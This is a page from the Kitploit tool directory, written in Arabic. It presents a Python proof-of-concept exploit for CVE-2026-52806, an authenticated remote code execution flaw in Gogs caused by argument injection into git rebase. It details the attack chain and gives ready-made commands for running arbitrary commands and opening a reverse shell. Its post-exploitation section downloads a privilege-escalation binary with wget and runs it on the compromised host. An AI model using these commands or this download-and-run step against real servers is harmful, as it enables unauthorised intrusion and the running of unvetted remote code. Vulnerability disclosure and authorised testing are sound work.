Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-52806 — Gogs RCE عبر حقن الوسائط في git rebase (CWE-88) — Python PoC. CVE-2026-52806 | Kitploit
أدوات/GitHubGitHub/portbuster1337/cve-2026-52806
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالCTFاختبار الاختراقالقيادة والسيطرةالتعلم والتعليمتطوير الحمولات
GitHubportbuster1337/cve-2026-52806

CVE-2026-52806

61منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Gogs RCE عبر حقن الوسائط في git rebase (CWE-88) — Python PoC. CVE-2026-52806

عرض المستودعالموقع الإلكتروني

Gogs RCE — حقن الوسائط في git rebase (CWE-88)

تنفيذ تعليمات برمجية عن بُعد مُصادَق عليه ضد Gogs (<= 0.14.2 و 0.15.0+dev) عبر حقن الوسائط في مسار دمج طلبات السحب.

CVE-2026-52806

الثغرة

تمرّر الدالة Merge() في internal/database/pull.go اسم الفرع الأساسي لطلب السحب (PR) إلى git rebase دون فاصل --. يتم تحليل فرع باسم --exec=<COMMAND> بواسطة Git كعلامة --exec وليس كوسيط موضعي، مما يؤدي إلى تشغيل sh -c <COMMAND> بعد كل commit مُعاد تطبيقه أثناء عملية rebase.

كيف يعمل الاستغلال

  1. الفحص الأولي — يتحقق مما إذا كان الهدف يشغّل Gogs، ويستخرج بصمة الإصدار عبر معامل ?v= على الأصول الثابتة، ويفحص ما إذا كان تسجيل المستخدم مفتوحًا أو محميًا بـ captcha أو معطّلًا.
  2. المصادقة — إذا لم يتم توفير بيانات اعتماد، يحاول التسجيل التلقائي (بدون captcha)، وإذا كان captcha مفعّلًا، يطبع رسالة تخبر المستخدم بإنشاء حساب على صفحة التسجيل الخاصة بالهدف وإعادة التشغيل باستخدام -u <username> -pw <password>. ينشئ رمز API عبر مصادقة Basic أو صفحة إعدادات الويب.
  3. إعداد المستودع — ينشئ مستودعًا خاصًا مؤقتًا عبر واجهة برمجة تطبيقات Gogs ويفعّل Rebase قبل الدمج في الإعدادات.
  4. التلاعب بفروع Git — يهيّئ مستودع git محليًا ويدفع:
    • فرع master مع README
    • فرع feature-* مع commit متفرّع
    • فرع خبيث باسم --exec=sh${IFS}.payload يحتوي على سكربت ينفّذ أمر المهاجم في الخلفية
  5. طلب السحب — يفتح PR من فرع الميزات إلى الفرع الخبيث --exec=.
  6. التشغيل — يرسل طلب POST إلى نقطة نهاية الدمج مع merge_style=rebase_before_merging. يشغّل Gogs داخليًا git rebase --exec=sh${IFS}.payload، الذي ينفّذ الحمولة بعد كل commit مُعاد تطبيقه.
  7. التنظيف — يحذف المستودع المؤقت والملفات المؤقتة المحلية.

المتطلبات

  • Python 3.6+
  • requests (pip install requests)
  • تثبيت محلي لـ git

الاستخدام

root@kitploit:~
python3 gogs.py <target> [options]

الفحص الأولي

root@kitploit:~
python3 gogs.py http://target:3000 --preflight-only

يُظهر:

  • Registration: ENABLED (no captcha) — يمكن التسجيل تلقائيًا
  • Registration: ENABLED (CAPTCHA DETECTED) — أنشئ حسابًا يدويًا في صفحة التسجيل على الهدف، ثم قدّم بيانات الاعتماد باستخدام -u / -pw
  • Registration: DISABLED — تحتاج إلى بيانات اعتماد حالية من مسؤول

تشغيل الاستغلال

root@kitploit:~
# Auto-register + run a command
python3 gogs.py 10.0.0.1:3000 --cmd "id > /tmp/pwned.txt"

# Existing account
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --cmd "whoami"

# Reverse shell
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --listener 10.0.0.2:4444

# Captcha enabled: create account on target's signup page, then use creds
python3 gogs.py 10.0.0.1:3000 -u myuser -pw mypassword --cmd "id"

# If login with creds fails, pass the session cookie directly
python3 gogs.py 10.0.0.1:3000 --cookie "i_like_gogs=abc123..." --cmd "id"

الخيارات

ما بعد الاستغلال

بمجرد الحصول على شل على الهدف، تعمل عملية Gogs عادةً كمستخدم بصلاحيات منخفضة (مثل git في Docker). لمحاولة تصعيد الصلاحيات إلى root، حمّل ونفّذ ثنائي lpe-toolkit من صفحة الإصدارات الخاصة بالمشروع:

root@kitploit:~
# From your shell session:
wget https://github.com/portbuster1337/lpe-toolkit/releases/latest/download/lpe-toolkit-linux-amd64
chmod +x lpe-toolkit-linux-amd64
./lpe-toolkit-linux-amd64

تقوم الأداة بجرد استغلالات النواة وسوء الإعدادات ونواقل التصعيد الشائعة الأخرى.

المراجع

  • منشور مدونة Rapid7 — RCE مُصادَق عبر حقن الوسائط في Gogs (غير مُصحَّح)
  • وحدة Metasploit — وحدة exploit/multi/http/gogs_rebase_rce من Rapid7 بواسطة Jonah Burgess (CryptoCat) (PR #21515)
  • GHSA — qf6p-p7ww-cwr9 (gogs/gogs)
  • Gogs — https://github.com/gogs/gogs

هذا إثبات المفهوم (PoC) المكتوب بلغة Python مستوحى من وحدة Metasploit المنشورة. تم اكتشاف الثغرة والإفصاح عنها بمسؤولية بواسطة Jonah Burgess (CryptoCat) في Rapid7.

إخلاء المسؤولية

هذه الأداة مُقدَّمة لأغراض تعليمية وللاختبارات الأمنية المصرَّح بها فقط. الاستخدام غير المصرَّح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها يُعد غير قانوني. لا يتحمل المؤلفون أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.

ملاحظة

لا تدعم واجهة برمجة تطبيقات Gogs حذف الرموز، لذا فإن أي رموز وصول API يتم إنشاؤها أثناء الاستغلال ستبقى قائمة ويجب إزالتها يدويًا من /user/settings/applications على المثيل الهدف.

تنزيل الأداة
الخيارالوصف
targetالمضيف[:المنفذ] (مثل: 47.109.58.140:9000)
-p, --portمنفذ HTTP (الافتراضي: 3000)
-u, --usernameاسم مستخدم Gogs
-pw, --passwordكلمة مرور Gogs
--cookieسلسلة كوكي الجلسة
--cmdالأمر المراد تنفيذه على الهدف
--listenerالشل العكسي host:port
--lhost / --lportمضيف ومنفذ الشل العكسي
--sslاستخدام HTTPS
--preflight-onlyتشغيل الفحوصات الأولية فقط